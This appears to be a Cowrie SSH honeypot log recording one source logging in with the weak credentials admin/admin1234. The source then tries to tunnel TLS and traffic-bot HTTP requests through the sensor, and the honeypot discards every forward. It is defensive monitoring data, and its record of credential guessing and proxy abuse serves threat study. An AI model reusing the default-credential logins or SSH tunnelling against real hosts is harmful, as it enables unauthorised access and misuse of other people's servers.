{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:05.280827Z","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:05.526480Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad4\\x0fnS\\xbf6\\xae\\x1ei\\x04\\xc3\\x1dRk\\x84\\x01\\xb8i\\xb2;7\\xcd\\xd5x\\t\\x86d\\x1e\\x945\\x14 Tt>\\xb0>\\x8f\\xfe\\x8e\\xbb\\x03u\\x1d\\x14e0tk\\x92?B\\xdazk\\xd6\\xa6m\\xac\\x08z`\\xd3\\xf6\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xb7jI\\xb7\\xe1+[\\xabY\\xc1\\x9a+\\x14\\x90\\x02\\x90\\r\\xc9E\\x84\\x89\\x05\\xc27*9*+\\xfc\\xe9i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xad4\\x0fnS\\xbf6\\xae\\x1ei\\x04\\xc3\\x1dRk\\x84\\x01\\xb8i\\xb2;7\\xcd\\xd5x\\t\\x86d\\x1e\\x945\\x14 Tt>\\xb0>\\x8f\\xfe\\x8e\\xbb\\x03u\\x1d\\x14e0tk\\x92?B\\xdazk\\xd6\\xa6m\\xac\\x08z`\\xd3\\xf6\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 t\\xb7jI\\xb7\\xe1+[\\xabY\\xc1\\x9a+\\x14\\x90\\x02\\x90\\r\\xc9E\\x84\\x89\\x05\\xc27*9*+\\xfc\\xe9i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:05.530385Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:05.906986Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58857,"dst_ip":"10.17.0.5","dst_port":22,"session":"53f9c351c029","protocol":"ssh","message":"New connection: 123.27.168.40:58857 (10.17.0.5:22) [session: 53f9c351c029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:08.333684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:08.338084Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:08.656172Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:09.838599Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:10.219595Z","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:10.360706Z","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:10.641563Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.2 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MXM3QHQmK08wRlVqZD5ieg%3D%3DBxpAqVH7M9pynHcFiq9eHgBZXR90kNvb7rlpNPqaImlms0ANW5kaeKn3KN8Bp2hu2wKf%2FER7iHJKfnlPnV2f2XFIB5UANk%2F667PxNt46S882ibbSPvjkJFm%2FckFcqMrd8F4%2FB1zcetlLEf5j8P33yAIpauX%2B9Ny7xzeWqe%2BpfO10o00bxN0s%2FWGcbSQL90EtGsaCM78carEKte0xQu1QWKF1OUpH6cwm8u92uc%2FIUlBuB3hs7VRkbmcyY9o99Zkjy278%2BRWP2HK1D427pJ62p%2BU5rlkqLGNruSXFKi9eOIaM1OyWZ2leuAb41I17XARrY2UvsGci2LT%2Byq%2BhhkQSA5QlXVHKC2umwIycJetkIwDu8BRPTaYcaAta574dbJ5ltJv4SROs%2BQMuGgE7unFi5OLSUo2zPfohu5%2BZW6tNsucEmEjrrV%2FzWbSQUuCbzNTeJ7G5ncLduxh9UkoLwlSJFEKWYSV5I0%2FHq0xPlG80ybzUzcs5oQ6ULkNPjzzUB719mMtbRzBHVyCP6JPVIZ%2Bfs4ytebFzhV9KZXCdSqM6Q5e3%2FeAKbQ8vfsdnON3lIikYW6K%2F1rQgXQ5jWx2iXOAwK3NNLo%2FIW4MQ6tKywWD2MyoRsKkPaRS6lzzVpwyFThPTS23lUdrHRlO6iQGKDv5ug1JLKyc%2BxQE%2BvG03wG70jytkP6ipfXmPcW5YnUPEmRnvQe0RGsLVqWzjM31NGwlHonybwvVAw%2BbixsSeBx6%2FBtQYrgVrAnnLu51lx4AOVeKQl5143p8CS9G%2BzlNlrW%2BrkLkubmJATMb8ibRhMdGDm3MVKw7cCugG9ZZK%2FBIq8WERjZZCHa2uuLlgAf04Gzxs6xwnIh%2FXFzJSJsIh5aC%2Bx3A4NKrRfKd4%2B%2BRxYNNZyub1TLk32PkHvy69vOnehaafje%2F7NGubR1CGBYJxKWW8VvZ031hI1a%2B6Qb7WGn%2FOBgtm2wr4uZLsajAojHRzcXO2OHHzmI2S3Zunio0wuUZ2bl69N%2F6kLlFkQKzA3WnMFrJhf6e7ubG458jdqqaL4m9wdtYQbyBRCTi6b2Ch%2BfSEkW%2BG9m6i9MYV5MiYLBF9bvfn'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.2 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MXM3QHQmK08wRlVqZD5ieg%3D%3DBxpAqVH7M9pynHcFiq9eHgBZXR90kNvb7rlpNPqaImlms0ANW5kaeKn3KN8Bp2hu2wKf%2FER7iHJKfnlPnV2f2XFIB5UANk%2F667PxNt46S882ibbSPvjkJFm%2FckFcqMrd8F4%2FB1zcetlLEf5j8P33yAIpauX%2B9Ny7xzeWqe%2BpfO10o00bxN0s%2FWGcbSQL90EtGsaCM78carEKte0xQu1QWKF1OUpH6cwm8u92uc%2FIUlBuB3hs7VRkbmcyY9o99Zkjy278%2BRWP2HK1D427pJ62p%2BU5rlkqLGNruSXFKi9eOIaM1OyWZ2leuAb41I17XARrY2UvsGci2LT%2Byq%2BhhkQSA5QlXVHKC2umwIycJetkIwDu8BRPTaYcaAta574dbJ5ltJv4SROs%2BQMuGgE7unFi5OLSUo2zPfohu5%2BZW6tNsucEmEjrrV%2FzWbSQUuCbzNTeJ7G5ncLduxh9UkoLwlSJFEKWYSV5I0%2FHq0xPlG80ybzUzcs5oQ6ULkNPjzzUB719mMtbRzBHVyCP6JPVIZ%2Bfs4ytebFzhV9KZXCdSqM6Q5e3%2FeAKbQ8vfsdnON3lIikYW6K%2F1rQgXQ5jWx2iXOAwK3NNLo%2FIW4MQ6tKywWD2MyoRsKkPaRS6lzzVpwyFThPTS23lUdrHRlO6iQGKDv5ug1JLKyc%2BxQE%2BvG03wG70jytkP6ipfXmPcW5YnUPEmRnvQe0RGsLVqWzjM31NGwlHonybwvVAw%2BbixsSeBx6%2FBtQYrgVrAnnLu51lx4AOVeKQl5143p8CS9G%2BzlNlrW%2BrkLkubmJATMb8ibRhMdGDm3MVKw7cCugG9ZZK%2FBIq8WERjZZCHa2uuLlgAf04Gzxs6xwnIh%2FXFzJSJsIh5aC%2Bx3A4NKrRfKd4%2B%2BRxYNNZyub1TLk32PkHvy69vOnehaafje%2F7NGubR1CGBYJxKWW8VvZ031hI1a%2B6Qb7WGn%2FOBgtm2wr4uZLsajAojHRzcXO2OHHzmI2S3Zunio0wuUZ2bl69N%2F6kLlFkQKzA3WnMFrJhf6e7ubG458jdqqaL4m9wdtYQbyBRCTi6b2Ch%2BfSEkW%2BG9m6i9MYV5MiYLBF9bvfn'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:10.646000Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:10.882455Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\x90\\xa8\\x19#\\x9f3\\x03\\xdd\\x9e;_\\xe6{\\x9f\\xbd\\xa5\\xaf\\xd3x\\x02\\x85\\xea\\xfb\\xaeaW&2\\xb6\\x9f\\x99 \\x0b\\xc7\\x94H\\x9a\\xfd\\xa9\\x0c\\xf1\\xb0\\xaa\\xc3\\xc7\\xee\\xa2\\xd4\\x06Rj.\\xaf#\\xd9j\\x81\\xc7\\xdd\\x81x\\xed\\x9c\\xb5\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f\\xae\\x8e\\x13\\xa7\\xfam\\xd2\\xd4.D\\xdb4\\xd7\\x83\\x18X\\xed\\x0e\\xecV&\\x19\\x0c\\xf6\\xb3\\x15\\x97o\\x04Ek\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa0\\x90\\xa8\\x19#\\x9f3\\x03\\xdd\\x9e;_\\xe6{\\x9f\\xbd\\xa5\\xaf\\xd3x\\x02\\x85\\xea\\xfb\\xaeaW&2\\xb6\\x9f\\x99 \\x0b\\xc7\\x94H\\x9a\\xfd\\xa9\\x0c\\xf1\\xb0\\xaa\\xc3\\xc7\\xee\\xa2\\xd4\\x06Rj.\\xaf#\\xd9j\\x81\\xc7\\xdd\\x81x\\xed\\x9c\\xb5\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f\\xae\\x8e\\x13\\xa7\\xfam\\xd2\\xd4.D\\xdb4\\xd7\\x83\\x18X\\xed\\x0e\\xecV&\\x19\\x0c\\xf6\\xb3\\x15\\x97o\\x04Ek\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:10.885816Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:11.367051Z","session":"53f9c351c029","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:11.616328Z","src_ip":"123.27.168.40","session":"53f9c351c029","protocol":"ssh"}
